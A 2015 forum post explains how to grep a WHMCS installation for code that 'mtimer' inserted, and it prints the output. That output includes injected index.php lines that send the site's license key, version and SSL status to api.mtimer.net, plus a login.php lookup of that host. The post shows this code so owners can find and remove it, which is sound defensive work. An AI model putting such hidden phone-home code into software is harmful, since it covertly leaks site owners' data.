02-21-2015, 10:20 AM
Here is an easy way to find all files modified my mtimer without spending hours and hours searching for his shit.
If you have root access on your server, go the your whmcs directory, eg cd /home/user/public_html/whmcs. Then to search for his shit go to say the admin directory and type;
In my test installation it shows the following;
Now you can clearly see the files and the code you need to remove from INDEX.PHP above.
Do this for all directories to find his code.
Good luck!
If you have root access on your server, go the your whmcs directory, eg cd /home/user/public_html/whmcs. Then to search for his shit go to say the admin directory and type;
Code:
grep "mtimer" *.php
In my test installation it shows the following;
Code:
[root@la1010 admin]# grep "mtime" *.php
accessdenied.php: * @ Website : http://www.mtimer.net
addonmodules.php: * @ Website : http://www.mtimer.net
affiliates.php: * @ Website : http://www.mtimer.net
billableitems.php: * @ Website : http://www.mtimer.net
browser.php: * @ Website : http://www.mtimer.net
browser.php:$url = "http://www.mtimer.net/";
calendar.php: * @ Website : http://www.mtimer.net
cancelrequests.php: * @ Website : http://www.mtimer.net
clientsaddonslist.php: * @ Website : http://www.mtimer.net
clientsadd.php: * @ Website : http://www.mtimer.net
clientsbillableitems.php: * @ Website : http://www.mtimer.net
clientsccdetails.php: * @ Website : http://www.mtimer.net
clientscontacts.php: * @ Website : http://www.mtimer.net
clientscredits.php: * @ Website : http://www.mtimer.net
clientsdomaincontacts.php: * @ Website : http://www.mtimer.net
clientsdomainlist.php: * @ Website : http://www.mtimer.net
clientsdomainreg.php: * @ Website : http://www.mtimer.net
clientsdomains.php: * @ Website : http://www.mtimer.net
clientsemails.php: * @ Website : http://www.mtimer.net
clientshostinglist.php: * @ Website : http://www.mtimer.net
clientshosting.php: * @ Website : http://www.mtimer.net
clientsinvoices.php: * @ Website : http://www.mtimer.net
clientslog.php: * @ Website : http://www.mtimer.net
clientsmerge.php: * @ Website : http://www.mtimer.net
clientsmove.php: * @ Website : http://www.mtimer.net
clientsnotes.php: * @ Website : http://www.mtimer.net
clients.php: * @ Website : http://www.mtimer.net
clientsprofile.php: * @ Website : http://www.mtimer.net
clientsquotes.php: * @ Website : http://www.mtimer.net
clientsservices.php: * @ Website : http://www.mtimer.net
clientssummary.php: * @ Website : http://www.mtimer.net
clientstransactions.php: * @ Website : http://www.mtimer.net
clientsupgrade.php: * @ Website : http://www.mtimer.net
configaddonmods.php: * @ Website : http://www.mtimer.net
configaddons.php: * @ Website : http://www.mtimer.net
configadminroles.php: * @ Website : http://www.mtimer.net
configadmins.php: * @ Website : http://www.mtimer.net
configauto.php: * @ Website : http://www.mtimer.net
configbackups.php: * @ Website : http://www.mtimer.net
configbannedemails.php: * @ Website : http://www.mtimer.net
configbannedips.php: * @ Website : http://www.mtimer.net
configbundles.php: * @ Website : http://www.mtimer.net
configclientgroups.php: * @ Website : http://www.mtimer.net
configcurrencies.php: * @ Website : http://www.mtimer.net
configcustomfields.php: * @ Website : http://www.mtimer.net
configdomains.php: * @ Website : http://www.mtimer.net
configemailtemplates.php: * @ Website : http://www.mtimer.net
configfraud.php: * @ Website : http://www.mtimer.net
configgateways.php: * @ Website : http://www.mtimer.net
configgeneral.php: * @ Website : http://www.mtimer.net
configorderstatuses.php: * @ Website : http://www.mtimer.net
configproductoptions.php: * @ Website : http://www.mtimer.net
configproducts.php: * @ Website : http://www.mtimer.net
configpromotions.php: * @ Website : http://www.mtimer.net
configregistrars.php: * @ Website : http://www.mtimer.net
configsecurityqs.php: * @ Website : http://www.mtimer.net
configservers.php: * @ Website : http://www.mtimer.net
configtax.php: * @ Website : http://www.mtimer.net
configticketdepartments.php: * @ Website : http://www.mtimer.net
configticketescalations.php: * @ Website : http://www.mtimer.net
configticketspamcontrol.php: * @ Website : http://www.mtimer.net
configticketstatuses.php: * @ Website : http://www.mtimer.net
configtwofa.php: * @ Website : http://www.mtimer.net
cron.php: * @ Website : http://www.mtimer.net
csvdownload.php: * @ Website : http://www.mtimer.net
dologin.php: * @ Website : http://www.mtimer.net
gatewaylog.php: * @ Website : http://www.mtimer.net
index.php: * @ Website : http://www.mtimer.net
index.php: $data = curlCall("http://api.mtimer.net/whmcs/popup/popup.php", array("licensekey" => $whmcs->get_license_key(), "version" => $whmcs->get_config("Version"), "ssl" => (((isset($_SERVER['HTTPS']) and& $_SERVER['HTTPS']) and& $_SERVER['HTTPS'] != "off") ? "1" : "0")));
index.php: $infotoggle[$_SESSION['adminid']] = curlCall("http://api.mtimer.net/whmcs/popup/popup.php", "lastupdate=1", array("CURLOPT_TIMEOUT" => "5"));
index.php: $lastupdate = curlCall("http://api.mtimer.net/whmcs/popup/popup.php", "lastupdate=1", array("CURLOPT_TIMEOUT" => "5"));
invoices.php: * @ Website : http://www.mtimer.net
licenseerror.php: * @ Website : http://www.mtimer.net
login.php: * @ Website : http://www.mtimer.net
login.php: $ip = gethostbyname("api.mtimer.net");
logout.php: * @ Website : http://www.mtimer.net
massmail.php: * @ Website : http://www.mtimer.net
mergefields.php: * @ Website : http://www.mtimer.net
myaccount.php: * @ Website : http://www.mtimer.net
networkissues.php: * @ Website : http://www.mtimer.net
offlineccprocessing.php: * @ Website : http://www.mtimer.net
ordersadd.php: * @ Website : http://www.mtimer.net
orders.php: * @ Website : http://www.mtimer.net
quotes.php: * @ Website : http://www.mtimer.net
reports.php: * @ Website : http://www.mtimer.net
search.php: * @ Website : http://www.mtimer.net
sendmessage.php: * @ Website : http://www.mtimer.net
supportannouncements.php: * @ Website : http://www.mtimer.net
supportcenter.php: * @ Website : http://www.mtimer.net
supportdownloads.php: * @ Website : http://www.mtimer.net
supportkb.php: * @ Website : http://www.mtimer.net
supportticketpredefinedreplies.php: * @ Website : http://www.mtimer.net
supportticketskbarticle.php: * @ Website : http://www.mtimer.net
supporttickets.php: * @ Website : http://www.mtimer.net
supportticketsprint.php: * @ Website : http://www.mtimer.net
systemactivitylog.php: * @ Website : http://www.mtimer.net
systemadminlog.php: * @ Website : http://www.mtimer.net
systemcleanup.php: * @ Website : http://www.mtimer.net
systemdatabase.php: * @ Website : http://www.mtimer.net
systememaillog.php: * @ Website : http://www.mtimer.net
systemintegrationcode.php: * @ Website : http://www.mtimer.net
systemlicense.php: * @ Website : http://www.mtimer.net
systemmailimportlog.php: * @ Website : http://www.mtimer.net
systemmodulelog.php: * @ Website : http://www.mtimer.net
systemphpinfo.php: * @ Website : http://www.mtimer.net
systemsupportrequest.php: * @ Website : http://www.mtimer.net
systemupdates.php: * @ Website : http://www.mtimer.net
systemwhoislog.php: * @ Website : http://www.mtimer.net
todolist.php: * @ Website : http://www.mtimer.net
transactions.php: * @ Website : http://www.mtimer.net
utilitiesemailmarketer.php: * @ Website : http://www.mtimer.net
utilitieslinktracking.php: * @ Website : http://www.mtimer.net
utilitiesresolvercheck.php: * @ Website : http://www.mtimer.net
whmimport.php: * @ Website : http://www.mtimer.net
whois.php: * @ Website : http://www.mtimer.net
Now you can clearly see the files and the code you need to remove from INDEX.PHP above.
Do this for all directories to find his code.
Good luck!